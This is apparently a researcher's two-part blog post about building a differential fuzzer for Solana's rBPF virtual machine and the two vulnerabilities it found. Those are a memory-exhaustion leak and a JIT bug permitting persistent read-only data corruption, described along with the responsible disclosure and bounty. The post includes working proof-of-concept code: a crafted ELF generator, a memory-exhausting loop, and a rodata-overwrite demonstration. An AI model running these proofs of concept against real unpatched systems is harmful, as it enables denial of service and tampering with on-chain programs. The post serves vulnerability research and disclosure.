1013| 131k| ebpf::JSLT_IMM => if (reg[dst] as i64) < insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^20
1014| 147k| ebpf::JSLT_REG => if (reg[dst] as i64) < reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^147k ^23
1015| 65.5k| ebpf::JSLE_IMM => if (reg[dst] as i64) <= insn.imm as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^65.5k ^4
1016| 131k| ebpf::JSLE_REG => if (reg[dst] as i64) <= reg[src] as i64 { next_pc = (next_pc as isize + insn.off as isize) as usize; },
^131k ^2
1017| |
1018| | ebpf::CALL_REG => {
1019| 0| let target_address = reg[insn.imm as usize];
1020| 0| reg[ebpf::FRAME_PTR_REG] =
1021| 0| self.stack.push(®[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
1022| 0| if target_address < self.program_vm_addr {
1023| 0| return Err(EbpfError::CallOutsideTextSegment(pc + ebpf::ELF_INSN_DUMP_OFFSET, target_address / ebpf::INSN_SIZE as u64 * ebpf::INSN_SIZE as u64));
1024| 0| }
1025| 0| next_pc = self.check_pc(pc, (target_address - self.program_vm_addr) as usize / ebpf::INSN_SIZE)?;
1026| | },
1027| |
1028| | // Do not delegate the check to the verifier, since registered functions can be
1029| | // changed after the program has been verified.
1030| | ebpf::CALL_IMM => {
1031| 17| let mut resolved = false;
1032| 17| let (syscalls, calls) = if config.static_syscalls {
1033| 17| (insn.src == 0, insn.src != 0)
1034| | } else {
1035| 0| (true, true)
1036| | };
1037| |
1038| 17| if syscalls {
1039| 6| if let Some(syscall) = self.executable.get_syscall_registry().lookup_syscall(insn.imm as u32) {
^0
1040| 0| resolved = true;
1041| 0|
1042| 0| if config.enable_instruction_meter {
1043| 0| let _ = instruction_meter.consume(*last_insn_count);
1044| 0| }
1045| 0| *last_insn_count = 0;
1046| 0| let mut result: ProgramResult<E> = Ok(0);
1047| 0| (unsafe { std::mem::transmute::<u64, SyscallFunction::<E, *mut u8>>(syscall.function) })(
1048| 0| self.syscall_context_objects[SYSCALL_CONTEXT_OBJECTS_OFFSET + syscall.context_object_slot],
1049| 0| reg[1],
1050| 0| reg[2],
1051| 0| reg[3],
1052| 0| reg[4],
1053| 0| reg[5],
1054| 0| &self.memory_mapping,
1055| 0| &mut result,
1056| 0| );
1057| 0| reg[0] = result?;
1058| 0| if config.enable_instruction_meter {
1059| 0| remaining_insn_count = instruction_meter.get_remaining();
1060| 0| }
1061| 6| }
1062| 11| }
1063| |
1064| 17| if calls {
1065| 11| if let Some(target_pc) = self.executable.lookup_bpf_function(insn.imm as u32) {
^0
1066| 0| resolved = true;
1067| |
1068| | // make BPF to BPF call
1069| 0| reg[ebpf::FRAME_PTR_REG] =
1070| 0| self.stack.push(®[ebpf::FIRST_SCRATCH_REG..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS], next_pc)?;
1071| 0| next_pc = self.check_pc(pc, target_pc)?;
1072| 11| }
1073| 6| }
1074| |
1075| 17| if !resolved {
1076| 17| if config.disable_unresolved_symbols_at_runtime {
1077| 6| return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET));
1078| | } else {
1079| 11| self.executable.report_unresolved_symbol(pc)?;
1080| | }
1081| 0| }
1082| | }
1083| |
1084| | ebpf::EXIT => {
1085| 39| match self.stack.pop::<E>() {
1086| 0| Ok((saved_reg, frame_ptr, ptr)) => {
1087| 0| // Return from BPF to BPF call
1088| 0| reg[ebpf::FIRST_SCRATCH_REG
1089| 0| ..ebpf::FIRST_SCRATCH_REG + ebpf::SCRATCH_REGS]
1090| 0| .copy_from_slice(&saved_reg);
1091| 0| reg[ebpf::FRAME_PTR_REG] = frame_ptr;
1092| 0| next_pc = self.check_pc(pc, ptr)?;
1093| | }
1094| | _ => {
1095| 39| return Ok(reg[0]);
1096| | }
1097| | }
1098| | }
1099| 0| _ => return Err(EbpfError::UnsupportedInstruction(pc + ebpf::ELF_INSN_DUMP_OFFSET)),
1100| | }
1101| |
1102| 2.16M| if config.enable_instruction_meter && *last_insn_count >= remaining_insn_count {
1103| | // Use `pc + instruction_width` instead of `next_pc` here because jumps and calls don't continue at the end of this instruction
1104| 33| return Err(EbpfError::ExceededMaxInstructions(pc + instruction_width + ebpf::ELF_INSN_DUMP_OFFSET, initial_insn_count));
1105| 2.16M| }
1106| | }
1107| |
1108| 683| Err(EbpfError::ExecutionOverrun(
1109| 683| next_pc + ebpf::ELF_INSN_DUMP_OFFSET,
1110| 683| ))
1111| 886| }
Now we see that jump and call instructions are actually used, and that we execute the content of the interpreter loop significantly more despite having approximately the same amount of successful calls to the interpreter function. From this, we can infer that not only are more programs successfully executed, but also that, of those executed, they tend to have more valid instructions executed overall.
While this isn’t hitting every branch, it’s now hitting significantly more – and with much more interesting values.
The development of this version of the fuzzer took about an hour, so we’re at a total of one hour of development.
JIT and differential fuzzing
Now that we have a fuzzer which can generate lots of inputs that are actually interesting to us, we can develop a fuzzer which can test both JIT and the interpreter against each other. But how do we even test them against each other?
Picking inputs, outputs, and configuration
As the definition of pseudo-oracle says: we need to check if the alternate program (for JIT, the interpreter, and vice versa), when provided with the same “input” provides the same “output”. So what inputs and outputs do we have?
For inputs, there are three notable things we’ll want to vary:
- The config which determines how the VM should execute (what features and such)
- The BPF program to be executed, which we’ll generate like we do in “smart”
- The initial memory of the VMs
Once we’ve developed our inputs, we’ll also need to think of our outputs:
- The “return state”, the exit code itself or the error state
- The number of instructions executed (e.g., did the JIT program overrun?)
- The final memory of the VMs
Then, to execute both JIT and the interpreter, we’ll take the following steps:
- The same steps as the first fuzzers:
- Use the rBPF verification pass (called “check”) to make sure that the VM will accept the input program
- Initialise the memory, the syscalls, and the entrypoint
- Create the executable data
- Then prepare to perform the differential testing
- JIT compile the BPF code (if it fails, fail quietly)
- Initialise the interpreted VM
- Initialise the JIT VM
- Execute both the interpreted and JIT VMs
- Compare return state, instructions executed, and final memory, and panic if any do not match.
Writing the fuzzer
As before, I’ve split this up into more manageable chunks so you can read them one at a time outside of their context before trying to interpret their final context.
Step 1: Defining our inputs
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
... snip ...
prog: FuzzProgram,
mem: Vec<u8>,
}
Step 2: Setting up the VM
fuzz_target!(|data: FuzzData| {
let mut prog = make_program(&data.prog, Arch::X64);
... snip ...
let config = data.template.into();
if check(prog.into_bytes(), &config).is_err() {
// verify please
return;
}
let mut interp_mem = data.mem.clone();
let mut jit_mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
prog.into_bytes(),
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
let mut interp_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
.unwrap();
let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
let mut jit_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
.unwrap();
// See step 3
}
});
Step 3: Executing our input and comparing output
fuzz_target!(|data: FuzzData| {
// see step 2
if Executable::jit_compile(&mut executable).is_ok() {
// see step 2
let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
if interp_res != jit_res {
panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
}
if interp_res.is_ok() {
// we know jit res must be ok if interp res is by this point
if interp_meter.remaining != jit_meter.remaining {
panic!(
"Expected {} insts remaining, but got {}",
interp_meter.remaining, jit_meter.remaining
);
}
if interp_mem != jit_mem {
panic!(
"Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
interp_mem, jit_mem
);
}
}
}
});
Step 4: Put it together
Below is the final code for the fuzzer, including all of the bits I didn’t show above for concision.
#![no_main]
use std::collections::BTreeMap;
use libfuzzer_sys::fuzz_target;
use grammar_aware::*;
use solana_rbpf::{
elf::{register_bpf_function, Executable},
insn_builder::{Arch, Instruction, IntoBytes},
memory_region::MemoryRegion,
user_error::UserError,
verifier::check,
vm::{EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use crate::common::ConfigTemplate;
mod common;
mod grammar_aware;
#[derive(arbitrary::Arbitrary, Debug)]
struct FuzzData {
template: ConfigTemplate,
exit_dst: u8,
exit_src: u8,
exit_off: i16,
exit_imm: i64,
prog: FuzzProgram,
mem: Vec<u8>,
}
fuzz_target!(|data: FuzzData| {
let mut prog = make_program(&data.prog, Arch::X64);
prog.exit()
.set_dst(data.exit_dst)
.set_src(data.exit_src)
.set_off(data.exit_off)
.set_imm(data.exit_imm)
.push();
let config = data.template.into();
if check(prog.into_bytes(), &config).is_err() {
// verify please
return;
}
let mut interp_mem = data.mem.clone();
let mut jit_mem = data.mem;
let registry = SyscallRegistry::default();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&config, &mut bpf_functions, ®istry, 0, "entrypoint").unwrap();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(
prog.into_bytes(),
None,
config,
SyscallRegistry::default(),
bpf_functions,
)
.unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
let interp_mem_region = MemoryRegion::new_writable(&mut interp_mem, ebpf::MM_INPUT_START);
let mut interp_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![interp_mem])
.unwrap();
let jit_mem_region = MemoryRegion::new_writable(&mut jit_mem, ebpf::MM_INPUT_START);
let mut jit_vm =
EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], vec![jit_mem_region])
.unwrap();
let mut interp_meter = TestInstructionMeter { remaining: 1 << 16 };
let interp_res = interp_vm.execute_program_interpreted(&mut interp_meter);
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
if interp_res != jit_res {
panic!("Expected {:?}, but got {:?}", interp_res, jit_res);
}
if interp_res.is_ok() {
// we know jit res must be ok if interp res is by this point
if interp_meter.remaining != jit_meter.remaining {
panic!(
"Expected {} insts remaining, but got {}",
interp_meter.remaining, jit_meter.remaining
);
}
if interp_mem != jit_mem {
panic!(
"Expected different memory. From interpreter: {:?}\nFrom JIT: {:?}",
interp_mem, jit_mem
);
}
}
}
});
Theoretically, an up-to-date version is available in the rBPF repo.
And, with that, we have our fuzzer! This part of the fuzzer took approximately three hours to implement (largely due to finding several issues with the fuzzer and debugging them along the way).
At this point, we were about six hours in. I turned on the fuzzer and waited:
$ cargo +nightly fuzz run smart-jit-diff --jobs 4 -- -ignore_crashes=1
And the crashes began. Two main bugs appeared:
- A panic when there was an error in interpreter, but not JIT, when writing to a particular address (crash in 15 minutes)
- A AddressSanitizer crash from a memory leak when an error occurred just after the instruction limit was past by the JIT’d program (crash in two hours)
To read the details of these bugs, continue to Part 2.
Earn $200K by fuzzing for a weekend: Part 2
Below are the writeups for two vulnerabilities I discovered in Solana rBPF, a self-described “Rust virtual machine and JIT compiler for eBPF programs”. These vulnerabilities were responsibly disclosed according to Solana’s Security Policy and I have permission from the engineers and from the Solana Head of Business Development to publish these vulnerabilities as shown below.
In part 1, I discussed the development of the fuzzers. Here, I will discuss the vulnerabilities as I discovered them and the process of reporting them to Solana.
Bug 1: Resource exhaustion
The first bug I reported to Solana was exceptionally tricky; it only occurs in highly specific circumstances, and the fact that the fuzzer discovered it at all is a testament to the incredible complexity of inputs a fuzzer can discover through repeated trials. The relevant crash was found in approximately two hours of fuzzer start.
Initial Investigation
The input that triggered the crash disassembles to the following assembly:
entrypoint:
r0 = r0 + 255
if r0 <= 8355838 goto -2
r9 = r3 >> 3
call -1
For whatever reason, this particular set of instructions causes a memory leak.
When executed, this program does the following steps, roughly:
- increase r0 (which starts at 0) by 255
- jump back to the previous instruction if r0 is less than or equal
to 8355838
- this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
- set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
- calls a nonexistent function
- the nonexistent function should trigger an unknown symbol error
What stood out to me about this particular test case is how incredibly specific it was; varying the addition of 255 or 8355838 by even a small amount caused the leak to disappear. It was then I remembered the following line from my fuzzer:
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
remaining
, here, refers to the number of instructions remaining
before the program is forceably terminated. As a result, the leaking
program was running out this meter at exactly the call
instruction.
A faulty optimisation
There is a wall of text at line 420 of jit.rs which suitably describes an optimisation that Solana applied in order to reduce the frequency at which they need to update the instruction meter.
The short version is that they only update or check the instruction meter when they reach the end of a block or a call in order to reduce the amount of times they update and check the meter. This optimisation is totally reasonable; we don’t care if we run out of instructions at the middle of a block because the subsequent instructions are still “safe”, and if we ever hit an exit that’s the end of a block anyway. In other words, this optimisation should have no effect on the final state of the program.
The issue can be seen in the patch for the vulnerability, where the maintainer moved line 1279 to line 1275. To understand why that’s relevant, let’s walk through our execution again:
- increase r0 (which starts at 0) by 255
- jump back to the previous instruction if r0 is less than or equal
to 8355838
- this, in tandem with the first step, will cause the loop to execute 32767 times (a total of 65534 instructions)
- our meter updates here
- set r9 to r3 * 2^3, which is going to be zero because r3 starts at zero
- calls a nonexistent function
- the nonexistent function should trigger an unknown symbol error, but that doesn’t happen because our meter updates here and emits a max instructions exceeded error
However, based on the original order of the instructions, what happens in the call is the following:
- invoke the call, which fails because the symbol is unresolved
- to report the unresolved symbol, we invoke that
report_unresolved_symbol
function, which returns the name of the symbol invoked (or “Unknown”) in a heap-allocated string - the pc is updated
- the instruction count is validated, which overwrites the unresolved symbol error and terminates execution
Because the unresolved symbol error is merely overwritten, the value is never passed to the Rust code which invoked the JIT program. As a result, the reference to the heap-allocated String is lost and never dropped. Thus: any pointer to that heap allocation is lost and will never be freed, leading to the leak.
That being said, the leak is only seven bytes per execution of the program. Without causing a larger leak, this isn’t particularly exploitable.
Weaponisation
Let’s take a closer look at report_unresolved_symbol
.
report_unresolved_symbol source
pub fn report_unresolved_symbol(&self, insn_offset: usize) -> Result<u64, EbpfError<E>> {
let file_offset = insn_offset
.saturating_mul(ebpf::INSN_SIZE)
.saturating_add(self.text_section_info.offset_range.start as usize);
let mut name = "Unknown";
if let Ok(elf) = Elf::parse(self.elf_bytes.as_slice()) {
for relocation in &elf.dynrels {
match BpfRelocationType::from_x86_relocation_type(relocation.r_type) {
Some(BpfRelocationType::R_Bpf_64_32) | Some(BpfRelocationType::R_Bpf_64_64) => {
if relocation.r_offset as usize == file_offset {
let sym = elf
.dynsyms
.get(relocation.r_sym)
.ok_or(ElfError::UnknownSymbol(relocation.r_sym))?;
name = elf
.dynstrtab
.get_at(sym.st_name)
.ok_or(ElfError::UnknownSymbol(sym.st_name))?;
}
}
_ => (),
}
}
}
Err(ElfError::UnresolvedSymbol(
name.to_string(),
file_offset
.checked_div(ebpf::INSN_SIZE)
.and_then(|offset| offset.checked_add(ebpf::ELF_INSN_DUMP_OFFSET))
.unwrap_or(ebpf::ELF_INSN_DUMP_OFFSET),
file_offset,
)
.into())
}
Note how the name
is the string which becomes heap allocated. The
value of the name is determined by a relocation lookup in the ELF, which
we can actually control if we compile our own malicious ELF. Even though
the fuzzer only tests the JIT operations, one of the intended ways to
load a BPF program is as an ELF,
so it seems like something that would certainly be in scope.
Crafting the malicious ELF
To create an unresolved relocation in BPF, it’s actually quite simple. We just need to create a function with a very, very long name that isn’t actually defined, only declared. To do so, I created two files to craft the malicious ELF:
evil.h
evil.h
is far too large to post here, as it has a function name that
is approximately a mebibyte long. Instead, it was generated with the
following bash command.
$ echo "#define EVIL do_evil_$(printf 'a%.0s' {1..1048576})
void EVIL();
" > evil.h
evil.c
#include "evil.h"
void entrypoint() {
asm(" goto +0\n"
" r0 = 0\n");
EVIL();
}
Note that goto +0
is used here because we’ll use a specialised
instruction meter that only can do two instructions.
Finally, we’ll also make a Rust program to load and execute this ELF just to make sure the maintainers are able to replicate the issue.
elf-memleak.rs
You won’t be able to use this particular example anymore as rBPF has changed a lot of its API since the time this was created. However, you can check out version v0.22.21, which this exploit was crafted for.
Note in particular the use of an instruction meter with two remaining.
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{elf::{Executable, register_bpf_function}, insn_builder::IntoBytes, vm::{Config, EbpfVm, TestInstructionMeter, SyscallRegistry}, user_error::UserError};
use solana_rbpf::insn_builder::{Arch, BpfCode, Cond, Instruction, MemSize, Source};
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::verifier::check;
fn main() {
let mut file = File::open("tests/elfs/evil.so").unwrap();
let mut elf = Vec::new();
file.read_to_end(&mut elf).unwrap();
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut syscall_registry = SyscallRegistry::default();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscall_registry).unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
for _ in 0.. {
let mut jit_mem = [0; 65536];
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 2 };
jit_vm.execute_program_jit(&mut jit_meter).ok();
}
}
}
With our malicious ELF that has a function name that’s a mebibyte
long, the report_unresolved_symbol
will set that name
variable
to the long function name. As a result, the allocated string will
leak a whole mebibyte of memory per execution rather than the
measly seven bytes. When performed in this loop, the entire system’s
memory will be exhausted in mere moments.
Reporting
Okay, so now that we’ve crafted the exploit, we should probably report it to the vendor.
A quick Google later and we find the Solana security policy. Scrolling through, it says:
DO NOT CREATE AN ISSUE to report a security problem. Instead, please send an email to [email protected] and provide your github username so we can add you to a new draft security advisory for further discussion.
Okay, reasonable enough. Looks like they have bug bounties too!
DoS Attacks: $100,000 USD in locked SOL tokens (locked for 12 months)
Woah. I was working on rBPF out of curiosity, but it seems that there’s quite a bounty made available here.
I sent in my bug report via email on January 31st, and, within just three hours, Solana acknowledged the bug. Below is the report as submitted to Solana:
Report for bug 1 as submitted to Solana
There is a resource exhaustion vulnerability in solana_rbpf (specifically in src/jit.rs) which affects JIT-compiled eBPF programs (both ELF and insn_builder programs). An adversary with the ability to load and execute eBPF programs may be able to exhaust memory resources for the program executing solana_rbpf JIT-compiled programs.
The vulnerability is introduced by the JIT compiler’s emission of an unresolved symbol error when attempting to call an unknown hash after exceeding the instruction meter limit. The rust call emitted to Executable::report_unresolved_symbol allocates a string (“Unknown”, or the relocation symbol associated with the call) using .to_string(), which performs a heap allocation. However, because the rust call completes with an instruction meter subtraction and check, the check causes the early termination of the program with Err(ExceededMaxInstructions(_, _)). As a result, the reference to the error which contains the string is lost and thus the string is never dropped, leading to a heap memory leak.
The following eBPF program demonstrates the vulnerability:
entrypoint:
goto +0
r0 = 0
call -1
where the tail call’s immediate argument represents an unknown hash (this can be compiled directly, but not disassembled) and with a instruction meter set to 2 instructions remaining.
The optimisation used in jit.rs to only update the instruction meter is triggered after the ja instruction, and subsequently the mov64 instruction does not update the instruction meter despite the fact that it should prevent further execution here. The call instruction then performs a lookup for the non-existent symbol, leading to the execution of Executable::report_unresolved_symbol which performs the allocation. The call completes and updates the instruction meter again, now emitting the ExceededMaxInstructions error instead and losing the reference to the heap-allocated string.
While the leak in this example is only 7 bytes per error emitted (as the symbol string loaded is “Unknown”), one could craft an ELF with an arbitrarily sized relocation entry pointing to the call’s offset, causing a much faster exhaustion of memory resources. Such an example is attached with source code. I was able to exhaust all memory on my machine within a few seconds by simply repeatedly jit-executing this binary. A larger relocation entry could be crafted, but I think the example provided makes the vulnerability quite clear.
Attached is a Rust file (elf-memleak.rs) which may be placed within the examples/ directory of solana_rbpf in order to test the evil.{c,h,so} provided. It is highly recommend to run this for a short period of time and cancelling it quickly, as it quickly exhausts memory resources for the operating system.
Additionally, one could theoretically trigger this behaviour in programs not loaded by the attacker by sending crafted payloads which cause this meter misbehaviour. However, this is unlikely because one would also need to submit such a payload to a target which has an unresolved symbol.
For these reasons, I propose that this bug be classified under DoS Attacks (Non-RPC).
Solana classified this bug as a Denial-of-Service (Non-RPC) and awarded $100k.
Bug 2: Persistent .rodata corruption
The second bug I reported was easy to find, but difficult to diagnose. While the bug occurred with high frequency, it was unclear as to what exactly what caused the bug. Past that, was it even exploitable or useful?
Initial Investigation
The input that triggered the crash disassembles to the following assembly:
entrypoint:
or32 r9, -1
mov32 r1, -1
stxh [r9+0x1], r0
exit
The crash type triggered was a difference in JIT vs interpreter exit
state; JIT terminated with Ok(0)
, whereas interpreter terminated
with:
Err(AccessViolation(31, Store, 4294967296, 2, "program"))
Spicy stuff. Looks like our JIT implementation has some form of out-of-bounds write. Let’s investigate a bit further.
The first thing of note is the access violation’s address:
4294967296
. In other words, 0x100000000
. Looking at the Solana
documentation,
we see that this address corresponds to program code. Are we
writing to JIT’d code??
The answer, dear reader, is unfortunately no. As exciting as the prospect of arbitrary code execution might be, this actually refers to the BPF program code – more specifically, it refers to the read-only data present in the ELF provided. Regardless, it is writing to a immutable reference to a Vec somewhere that represents the program code, which is supposed to be read-only.
So why isn’t it?
The curse of x86
Let’s make our payload more clear and execute directly, then pop it into gdb to see exactly what code the JIT compiler is generating. I used the following program to test for OOB write:
oob-write.rs
This code likely no longer works due to changes in the API of rBPF changing in recent releases. Try it in examples/ in v0.2.22, where the vulnerability is still present.
use std::collections::BTreeMap;
use solana_rbpf::{
elf::Executable,
insn_builder::{
Arch,
BpfCode,
Instruction,
IntoBytes,
MemSize,
Source,
},
user_error::UserError,
verifier::check,
vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::InstructionMeter;
fn dump_insns<E: UserDefinedError, I: InstructionMeter>(executable: &Executable<E, I>) {
let analysis = Analysis::from_executable(executable);
// eprint!("Using the following disassembly");
analysis.disassemble(&mut std::io::stdout()).unwrap();
}
fn main() {
let config = Config::default();
let mut code = BpfCode::default();
let mut jit_mem = Vec::new();
let mut bpf_functions = BTreeMap::new();
register_bpf_function(&mut bpf_functions, 0, "entrypoint", false).unwrap();
code
.load(MemSize::DoubleWord).set_dst(9).push()
.load(MemSize::Word).set_imm(1).push()
.store_x(MemSize::HalfWord).set_dst(9).set_off(0).set_src(0).push()
.exit().push();
let mut prog = code.into_bytes();
assert!(check(prog, &config).is_ok());
let mut executable = Executable::<UserError, TestInstructionMeter>::from_text_bytes(prog, None, config, SyscallRegistry::default(), bpf_functions).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
dump_insns(&executable);
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
let jit_res = jit_vm.execute_program_jit(&mut jit_meter);
if let Ok(_) = jit_res {
eprintln!("{} => {:?} ({:?})", 0, jit_res, &jit_mem);
}
}
This just sets up and executes the following BPF assembly:
entrypoint:
lddw r9, 0x100000000
stxh [r9+0x0], r0
exit
This assembly simply writes a 0 to 0x100000000.
For the next part: please, for the love of god, use GEF.
$ cargo +stable build --example oob-write
$ gdb ./target/debug/examples/oob-write
gef➤ break src/vm.rs:1061 # after the JIT'd code is prepared
gef➤ run
gef➤ print self.executable.ro_section.buf.ptr.pointer
gef➤ awatch *$1 # break if we modify the readonly section
gef➤ record full # set up for reverse execution
gef➤ continue
After that last continue, we effectively execute until we hit the write access to our read-only section. Additionally, we can step backwards in the program until we find our faulty behaviour.
The watched memory is written to as a result of this X86 store
instruction
(as a reminder, we this is the branch for stxh). Seeing this
emit_address_translation
call above it, we can determine that
that function likely handles the address translation and readonly
checks.
Further inspection shows that emit_address_translation
actually
emits a call to… something:
emit_call(jit, TARGET_PC_TRANSLATE_MEMORY_ADDRESS + len.trailing_zeros() as usize + 4 * (access_type as usize))?;
Okay, so this is some kind of global offset for this JIT program to
translate the memory address. By searching for
TARGET_PC_TRANSLATE_MEMORY_ADDRESS
elsewhere in the program, we
find a loop which initialises different kinds of memory
translations.
Scrolling through this, we find our access check:
X86Instruction::cmp_immediate(OperandSize::S8, RAX, 0, Some(X86IndirectAccess::Offset(25))).emit(self)?; // region.is_writable == 0
Okay – so the x86 cmp instruction to find is one that uses a
destination of [rax+0x19]
. A couple rsi
later to find such an
instruction and we find:
cmp DWORD PTR [rax+0x19], 0x0
Which is, notably, not using an 8-bit operand as the cmp_immediate
call suggests. So what’s going on here?
x86 cmp operand size woes
Here is the definition of X86Instruction::cmp_immediate:
pub fn cmp_immediate(
size: OperandSize,
destination: u8,
immediate: i64,
indirect: Option<X86IndirectAccess>,
) -> Self {
Self {
size,
opcode: 0x81,
first_operand: RDI,
second_operand: destination,
immediate_size: OperandSize::S32,
immediate,
indirect,
..Self::default()
}
}
This creates an x86 instruction with the opcode 0x81. Inspecting closer and cross-referencing with an x86-64 opcode reference, you can find that opcode 0x81 is only defined for 16-, 32-, and 64-bit register operands. If you want to use an 8-bit register operand, you’ll need to use the 0x80 opcode variant.
This is precisely the patch applied.
A quick side note about testing code with different compilers
This bug actually was a bit weirder than it seems at first. Due to differences in Rust struct padding between versions, at the time that I reported the bug, the difference was spurious in stable release. As a result, it’s quite likely that no one would have noticed the bug until the next Rust release version.
From my report:
It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.
Proof of concept
Alright, now to create a PoC so that the people inspecting the bug can validate it. Like last time, we’ll create an ELF, along with a few different demonstrations of the effects of the bug. Specifically, we want to demonstrate that read-only values in the BPF target can be modified persistently, as our writes affect the executable and thus all future executions of the JIT program.
value_in_ro.c
This program should fail, as the data to be overwritten should be
read-only. It will be executed by howdy.rs
.
typedef unsigned char uint8_t;
typedef unsigned long int uint64_t;
extern void log(const char*, uint64_t);
static const char data[] = "howdy";
extern uint64_t entrypoint(const uint8_t *input) {
log(data, 5);
char *overwritten = (char *)data;
overwritten[0] = 'e';
overwritten[1] = 'v';
overwritten[2] = 'i';
overwritten[3] = 'l';
overwritten[4] = '!';
log(data, 5);
return 0;
}
howdy.rs
This program loads the compiled version of value_in_ro.c
and
attaches a log syscall so that we can see the behaviour internally.
I confirmed that this syscall did not affect the runtime
behaviour.
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{
elf::Executable,
insn_builder::{
BpfCode,
Instruction,
IntoBytes,
MemSize,
},
user_error::UserError,
verifier::check,
vm::{Config, EbpfVm, SyscallRegistry, TestInstructionMeter},
};
use solana_rbpf::elf::register_bpf_function;
use solana_rbpf::error::UserDefinedError;
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::vm::{InstructionMeter, SyscallObject};
fn main() {
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut jit_mem = vec![0; 32];
let mut elf = Vec::new();
File::open("tests/elfs/value_in_ro.so").unwrap().read_to_end(&mut elf);
let mut syscalls = SyscallRegistry::default();
syscalls.register_syscall_by_name(b"log", solana_rbpf::syscalls::BpfSyscallString::call);
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscalls).unwrap();
assert!(Executable::jit_compile(&mut executable).is_ok());
for _ in 0..4 {
let jit_res = {
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 1 << 18 };
let res = jit_vm.execute_program_jit(&mut jit_meter);
res
};
eprintln!("{} => {:?}", 1, jit_res);
}
}
This program, when executed, has the following output:
howdy
evil!
evil!
evil!
evil!
evil!
evil!
evil!
These first two files demonstrate the ability to overwrite the
readonly data present in binaries persistently. Notice that we
actually execute the JIT’d code multiple times, yet our changes
to the value in data
are persistent.
Implications
Suppose that there was a faulty offset or a user-controlled offset present in a BPF-based on-chain program. A malicious user could modify the readonly data of the program to replace certain contexts. In the best case scenario, this might lead to DoS of the program. In the worst case, this could lead to the replacement of fund amounts, of wallet addresses, etc.
Reporting
Having assembled my proof-of-concepts, my implications, and so on, I sent in the following report to Solana on February 4th:
Report for bug 2 as submitted to Solana
An incorrectly sized memory operand emitted by src/jit.rs:1490 may lead to .rodata section corruption due to an incorrect is_writable check. The cmp emitted is cmp DWORD PTR [rax+0x19], 0x0. As a result, when the uninitialised data present in the field padding of MemoryRegion is non-zero, the comparison will fail and assume that the section is writable. The data which is overwritten is persistent during the lifetime of the Executable instance as the data overwritten is in Executable.ro_section and thus affects future executions of the program without recompilation.
It is likely that this bug was not discovered earlier due to inconsistent behaviour between various versions of Rust. During testing, it was found that stable release did not consistently have non-zero field padding where stable debug, nightly debug, and nightly release did.
